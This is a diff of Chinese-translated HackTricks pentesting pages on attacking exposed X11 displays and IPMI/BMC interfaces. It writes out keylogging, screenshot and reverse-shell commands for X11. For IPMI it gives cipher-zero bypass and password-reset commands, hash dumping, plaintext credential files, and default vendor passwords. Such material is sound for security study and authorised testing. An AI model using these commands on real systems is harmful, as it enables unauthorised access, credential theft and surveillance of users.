* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,35 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客洞察**\
|
||||
深入探讨黑客的刺激和挑战
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和洞察,跟上快节奏的黑客世界
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
||||
了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
**在**[**Discord**](https://discord.com/invite/N3FrSbmwdy)上**加入我们**,今天就开始与顶尖黑客合作!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
## 基本信息
|
||||
|
||||
X Window System(又名X)是位图显示的窗口系统,常见于基于UNIX的操作系统。X提供了基于GUI环境的基本框架。X也不强制用户界面 - 由各个程序处理。\
|
||||
来源:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
**X Window系统**(X)是一种多功能窗口系统,在基于UNIX的操作系统中广泛使用。它提供了一个框架,用于创建图形**用户界面(GUI)**,各个程序处理用户界面设计。这种灵活性允许在X环境中获得多样化和可定制的体验。
|
||||
|
||||
**默认端口:** 6000
|
||||
```
|
||||
|
@ -46,7 +47,7 @@ msf> use auxiliary/scanner/x11/open_x11
|
|||
```
|
||||
#### 本地枚举
|
||||
|
||||
用户主文件夹中的 **`.Xauthority`** 文件被 **X11 用于授权**。来自[**这里**](https://stackoverflow.com/a/37367518):
|
||||
用户主目录中的文件 **`.Xauthority`** 被 **X11 用于授权**。来自 [**这里**](https://stackoverflow.com/a/37367518):
|
||||
```bash
|
||||
$ xxd ~/.Xauthority
|
||||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||||
|
@ -54,10 +55,10 @@ $ xxd ~/.Xauthority
|
|||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||||
00000030: 041d ef ...
|
||||
```
|
||||
> MIT-magic-cookie-1:生成128位的密钥(“cookie”),存储在\~/.Xauthority(或XAUTHORITY环境变量指向的位置)。客户端明文发送它给服务器!服务器检查是否有这个“cookie”的副本,如果有,连接就被允许。密钥由DMX生成。
|
||||
> MIT-magic-cookie-1: 生成128位密钥(“cookie”),将其存储在\~/.Xauthority(或XAUTHORITY环境变量指向的位置)。客户端以明文形式将其发送到服务器!服务器检查是否有此“cookie”的副本,如果有,则允许连接。密钥由DMX生成。
|
||||
|
||||
{% hint style="warning" %}
|
||||
为了**使用cookie**,你应该设置环境变量:**`export XAUTHORITY=/path/to/.Xauthority`**
|
||||
为了**使用cookie**,您应该设置环境变量:**`export XAUTHORITY=/path/to/.Xauthority`**
|
||||
{% endhint %}
|
||||
|
||||
#### 本地枚举会话
|
||||
|
@ -67,8 +68,6 @@ $ w
|
|||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
||||
```
|
||||
在示例中,`localhost:0` 正在运行 xfce4-session。
|
||||
|
||||
## 验证连接
|
||||
```bash
|
||||
xdpyinfo -display <ip>:<display>
|
||||
|
@ -76,7 +75,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
|
|||
```
|
||||
## 键盘记录
|
||||
|
||||
使用 [xspy](http://tools.kali.org/sniffingspoofing/xspy) 来嗅探键盘敲击。
|
||||
使用[xspy](http://tools.kali.org/sniffingspoofing/xspy)来嗅探键盘按键。
|
||||
|
||||
示例输出:
|
||||
```
|
||||
|
@ -86,22 +85,20 @@ opened 10.9.xx.xx:0 for snoopng
|
|||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||||
```
|
||||
## 截屏捕获
|
||||
## 截图捕获
|
||||
```bash
|
||||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||||
convert screenshot.xwd screenshot.png
|
||||
```
|
||||
## 远程桌面查看
|
||||
|
||||
来源于:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
来源:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
```markdown
|
||||
来自:[https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
从:[https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
|
||||
首先我们需要使用xwininfo找到窗口的ID
|
||||
```
|
||||
首先,我们需要使用 xwininfo 命令来查找窗口的 ID。
|
||||
```
|
||||
xwininfo -root -display 10.9.xx.xx:0
|
||||
|
||||
|
@ -139,31 +136,23 @@ Corners: +0+0 -0+0 -0-0 +0-0
|
|||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
其他方式:
|
||||
**反向Shell:** Xrdp还允许通过Netcat获取反向shell。键入以下命令:
|
||||
```bash
|
||||
./xrdp.py \<IP:0> –no-disp
|
||||
```
|
||||
在界面中,您可以看到**R-shell选项**。
|
||||
|
||||
**反向 Shell:** Xrdp 也允许通过 Netcat 获取反向 Shell。输入以下命令:
|
||||
然后,在本地系统上的端口5555上启动一个**Netcat监听器**。
|
||||
```bash
|
||||
nc -lvp 5555
|
||||
```
|
||||
然后,在**R-Shell**选项中放入您的IP地址和端口,然后点击**R-shell**以获取shell
|
||||
|
||||
**./xrdp.py \<IP:0> –no-disp**
|
||||
|
||||
![](../.gitbook/assets/112217_0051_ExploitingX15.jpeg)
|
||||
|
||||
它将提示一个新的控制面板,我们可以在其中看到 R-shell 选项,如下所示:
|
||||
|
||||
![](../.gitbook/assets/112217_0051_ExploitingX16.jpeg)
|
||||
|
||||
我们将在本地系统上的端口 5555 启动 Netcat 监听模式,如下所示:
|
||||
|
||||
![](../.gitbook/assets/112217_0051_ExploitingX17.jpeg)
|
||||
|
||||
然后添加 IP 和端口,然后选择 R-Shell,如下所示:
|
||||
|
||||
![](../.gitbook/assets/112217_0051_ExploitingX18.jpeg)
|
||||
|
||||
现在如下所示,我们拥有了完整的系统访问权限:
|
||||
|
||||
![](../.gitbook/assets/112217_0051_ExploitingX19.jpeg)
|
||||
|
||||
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
|
||||
## 参考资料
|
||||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -171,27 +160,15 @@ msf> use exploit/unix/x11/x11_keyboard_exec
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客洞察**\
|
||||
深入探讨黑客的刺激和挑战
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客行为的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和洞察,跟上快节奏的黑客世界
|
||||
通过实时新闻和见解了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
||||
了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注我。**
|
||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,37 +4,39 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics)(`IPMI`)是一组用于硬件主机管理系统的标准化规范,用于系统管理和监控。它作为一个独立的子系统工作,独立于主机的BIOS、CPU、固件和底层操作系统。IPMI使系统管理员能够管理和监控系统,即使它们处于关闭或无响应状态。它通过直接的网络连接到系统的硬件进行操作,不需要通过登录shell访问操作系统。IPMI还可以用于对系统进行远程升级,而无需物理访问目标主机。IPMI通常以以下三种方式使用:
|
||||
### **IPMI概述**
|
||||
|
||||
* 在操作系统引导之前修改BIOS设置
|
||||
* 当主机完全关闭时
|
||||
* 在系统故障后访问主机
|
||||
**[智能平台管理接口(IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。这项技术允许系统管理员远程管理系统,即使系统处于关闭或无响应状态,对于以下情况尤为有用:
|
||||
|
||||
当不用于这些任务时,IPMI可以监视各种不同的事物,如系统温度、电压、风扇状态和电源供应。它还可以用于查询库存信息、查看硬件日志和使用SNMP进行警报。主机系统可以关闭电源,但IPMI模块需要电源和LAN连接才能正常工作。
|
||||
- 操作系统引导前的配置
|
||||
- 关闭电源管理
|
||||
- 从系统故障中恢复
|
||||
|
||||
IPMI协议最初由英特尔于1998年发布,现在由200多个系统供应商支持,包括思科、戴尔、惠普、超微、英特尔等。使用IPMI 2.0版本的系统可以通过串行局域网进行管理,使系统管理员能够在带内查看串行控制台输出。为了正常工作,IPMI需要以下组件:
|
||||
IPMI能够监视温度、电压、风扇速度和电源供应情况,同时提供库存信息、查看硬件日志,并通过SNMP发送警报。其运行所需的关键组件包括电源源和LAN连接。
|
||||
|
||||
* 主板管理控制器(BMC)- IPMI的微控制器和基本组件
|
||||
* 智能机箱管理总线(ICMB)- 允许一个机箱与另一个机箱进行通信的接口
|
||||
* 智能平台管理总线(IPMB)- 扩展BMC
|
||||
* IPMI内存- 存储系统事件日志、存储库数据等
|
||||
* 通信接口- 本地系统接口、串行和LAN接口、ICMB和PCI管理总线
|
||||
自Intel于1998年推出以来,IPMI得到了众多供应商的支持,特别是通过2.0版本对串行LAN的支持,增强了远程管理功能。关键组件包括:
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
- **主板管理控制器(BMC):** IPMI操作的主要微控制器。
|
||||
- **通信总线和接口:** 用于内部和外部通信,包括ICMB、IPMB以及用于本地和网络连接的各种接口。
|
||||
- **IPMI存储器:** 用于存储日志和数据。
|
||||
|
||||
**默认端口**:623/UDP/TCP(通常使用UDP,但也可以在TCP上运行)
|
||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**默认端口**:623/UDP/TCP(通常在UDP上运行,但也可能在TCP上运行)
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -49,95 +51,62 @@ use auxiliary/scanner/ipmi/ipmi_version
|
|||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### 漏洞 - 通过密码0绕过IPMI身份验证
|
||||
### IPMI漏洞
|
||||
|
||||
Dan Farmer [发现了IPMI 2.0规范的一个严重缺陷](http://fish2.com/ipmi/cipherzero.html),即密码类型0,表示客户端希望使用明文身份验证,实际上**允许使用任何密码**进行访问。在HP、Dell和Supermicro BMC中发现了密码0的问题,该问题可能涵盖所有IPMI 2.0实现。\
|
||||
请注意,要利用此问题,您首先需要**找到一个有效的用户**。
|
||||
在IPMI 2.0领域,Dan Farmer发现了一个重大的安全漏洞,通过**密码类型0**暴露了一个漏洞。这个漏洞在[Dan Farmer的研究](http://fish2.com/ipmi/cipherzero.html)中有详细记录,允许未经授权的访问,只要针对一个有效用户提供了任何密码。这个弱点在惠普(HP)、戴尔(Dell)和超微(Supermicro)等制造商的各种BMC中被发现,表明所有IPMI 2.0实现中存在普遍问题。
|
||||
|
||||
您可以使用以下方法**识别**此问题:
|
||||
```
|
||||
### 通过密码0绕过IPMI身份验证
|
||||
|
||||
要检测这个漏洞,可以使用以下Metasploit辅助扫描程序:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
而且你可以使用`ipmitool`来**滥用**这个问题:
|
||||
利用`ipmitool`可以实现对此漏洞的利用,如下所示,允许列出和修改用户密码:
|
||||
```bash
|
||||
apt-get install ipmitool #Install
|
||||
#Using -C 0 any password is accepted
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
2 root true true true ADMINISTRATOR
|
||||
3 Oper1 true true true ADMINISTRATOR
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### 漏洞 - IPMI 2.0 RAKP认证远程密码哈希检索
|
||||
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
|
||||
|
||||
基本上,**你可以向服务器请求任何用户名的盐值哈希MD5和SHA1,如果用户名存在,这些哈希值将被发送回来。** 是的,听起来很神奇。而且还有一个**Metasploit模块**可以用于测试(你可以选择John或Hashcat格式的输出):
|
||||
该漏洞使得可以检索到任何现有用户名的盐值哈希密码(MD5和SHA1)。为了测试这个漏洞,Metasploit提供了一个模块:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
_请注意,对于此操作,您只需要一个用户名列表来进行暴力破解(metasploit已经包含了一个带有默认用户名的列表)。_
|
||||
### **IPMI匿名认证**
|
||||
|
||||
使用`ipmitool`绕过身份验证(`-c 0`)来将root密码更改为abc123:
|
||||
```
|
||||
root@kali:~# apt-get install ipmitool
|
||||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
2 root true true true ADMINISTRATOR
|
||||
3 Oper1 true true true ADMINISTRATOR
|
||||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
||||
```
|
||||
### 漏洞 - IPMI匿名认证
|
||||
|
||||
除了上述的认证问题外,丹·法尔默还指出,**许多BMC默认启用了“匿名”访问**。这是通过将第一个**用户**账户的用户名设置为**空字符串**,并将**空密码**设置为匹配来配置的。_ipmi\_dumphashes_模块将识别并转储空用户账户的密码哈希(包括空密码)。**这个账户本身可能难以使用,但我们可以利用`ipmitool`重置命名用户账户的密码,并利用该账户访问其他服务:
|
||||
许多BMC中的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。可以利用这种配置使用`ipmitool`来重置具名用户账户的密码:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
1 false false true ADMINISTRATOR
|
||||
2 root false false true ADMINISTRATOR
|
||||
3 admin true true true ADMINISTRATOR
|
||||
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### 漏洞 - Supermicro IPMI明文密码
|
||||
### **Supermicro IPMI明文密码**
|
||||
|
||||
IPMI 2.0规范要求BMC响应基于HMAC的身份验证方法,如SHA1和MD5。这种身份验证过程存在一些严重的弱点,正如之前的示例所示,但也**需要访问明文密码以计算身份验证哈希**。这意味着BMC必须在**非易失性存储器**中存储所有配置的用户密码的**明文版本**。在**Supermicro**的情况下,此位置在固件版本之间会发生变化,但要么是**`/nv/PSBlock`**,要么是**`/nv/PSStore`**。密码分散在各种二进制块之间,但很容易识别,因为它们总是跟随用户名。对于任何使用BMC之间或甚至不同类型设备之间共享密码的组织来说,这是一个严重的问题。
|
||||
IPMI 2.0中的一个关键设计选择要求在BMC中存储明文密码以进行身份验证。Supermicro将这些密码存储在诸如`/nv/PSBlock`或`/nv/PSStore`等位置,引发了重大的安全问题:
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
admin ADMINpassword^TT rootOtherPassword!
|
||||
```
|
||||
### 漏洞 - Supermicro IPMI UPnP
|
||||
### **Supermicro IPMI UPnP Vulnerability**
|
||||
|
||||
Supermicro在其最新的许多主板的IPMI固件上包含一个运行在UDP端口1900上的UPnP SSDP监听器。在SMT\_X9\_218之前的版本中,该服务运行的是Intel SDK for UPnP Devices的1.3.1版本。这个版本存在[由Rapid7在2013年2月披露的问题](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play),并且Metasploit Framework中包含了针对这个平台的利用工具。这种攻击的有趣之处在于它可以获得对BMC的完全root访问权限,而这在其他情况下很难获得。请记住,具有管理访问权限的攻击者,无论是通过网络还是从主机系统的root shell,都可以将Supermicro BMC的固件降级到一个存在漏洞的版本,然后利用它。一旦获得root访问权限,就可以从文件系统中读取明文凭据,安装其他软件,并将永久后门集成到BMC中,即使主机操作系统进行了完全重新安装,后门仍然存在。
|
||||
Supermicro在其IPMI固件中包含了一个UPnP SSDP监听器,特别是在UDP端口1900上,引入了严重的安全风险。根据[Rapid7的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)详细介绍的Intel UPnP设备版本1.3.1中的漏洞,允许对BMC进行root访问:
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### 暴力破解
|
||||
|
||||
请注意,只有惠普(HP)在制造过程中对密码进行随机化。
|
||||
**HP在制造过程中会随机生成默认密码**,用于其**Integrated Lights Out (iLO)**产品。这种做法与其他制造商形成对比,后者倾向于使用**静态默认凭据**。以下是各种产品的默认用户名和密码摘要:
|
||||
|
||||
| 产品名称 | 默认用户名 | 默认密码 |
|
||||
| ----------------------------------------------- | -------------- | ---------------------------------------- |
|
||||
| **HP Integrated Lights Out (iLO)** | Administrator | \<工厂随机化的8位字符> |
|
||||
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
|
||||
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD(0为零) |
|
||||
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
|
||||
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
|
||||
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
|
||||
| **ASUS iKVM BMC** | admin | admin |
|
||||
- **HP Integrated Lights Out (iLO)** 使用**工厂随机生成的8位字符串**作为默认密码,展示了更高的安全级别。
|
||||
- 诸如**Dell的iDRAC、IBM的IMM**和**Fujitsu的Integrated Remote Management Controller**等产品使用易于猜测的密码,如"calvin"、"PASSW0RD"(使用零)和"admin"。
|
||||
- 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**ASUS iKVM BMC**也使用简单的默认凭据,其密码分别为"ADMIN"、"changeme"和"admin"。
|
||||
|
||||
## 从BMC攻击主机
|
||||
## 通过BMC访问主机
|
||||
|
||||
一旦获得对BMC的管理员访问权限,就可以使用多种方法来访问主机操作系统。最直接的方法是滥用BMC的KVM功能,并将主机重启到root shell(在GRUB中使用init=/bin/sh)或指定一个救援盘作为虚拟CD-ROM并引导到该盘。一旦获得对主机磁盘的原始访问权限,就可以轻松引入后门,从硬盘复制数据,或者执行任何需要进行的安全评估的操作。当然,这种方法的一个很大的缺点是必须重新启动主机才能使用。访问正在运行的主机要困难得多,这取决于主机正在运行的内容。如果主机的物理控制台处于登录状态,使用内置的KVM功能轻松劫持它。串行控制台也是如此-如果串行端口连接到经过身份验证的会话,则BMC可能允许使用ipmitool接口进行串行局域网(sol)的劫持。仍需要进行更多研究的一条路径是滥用对共享硬件的访问权限,例如i2c总线和Super I/O芯片。
|
||||
对基板管理控制器(BMC)的管理访问打开了访问主机操作系统的各种途径。一种直接的方法涉及利用BMC的键盘、视频、鼠标(KVM)功能。可以通过重新启动主机到一个root shell(使用`init=/bin/sh`)或从设置为救援磁盘的虚拟CD-ROM启动来实现这一点。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重新启动主机,这是一个重大缺点。在不重新启动的情况下,访问正在运行的主机更加复杂,并且随着主机配置的不同而变化。如果主机的物理或串行控制台保持登录状态,可以通过BMC的KVM或串行-通过-LAN(sol)功能轻松接管它,使用`ipmitool`。探索共享硬件资源的利用,如i2c总线和Super I/O芯片,是需要进一步研究的领域。
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
|
||||
## 从主机向BMC引入后门
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
|
||||
|
||||
![](<../.gitbook/assets/image (202) (2).png>)
|
||||
|
||||
## 从主机攻击BMC
|
||||
|
||||
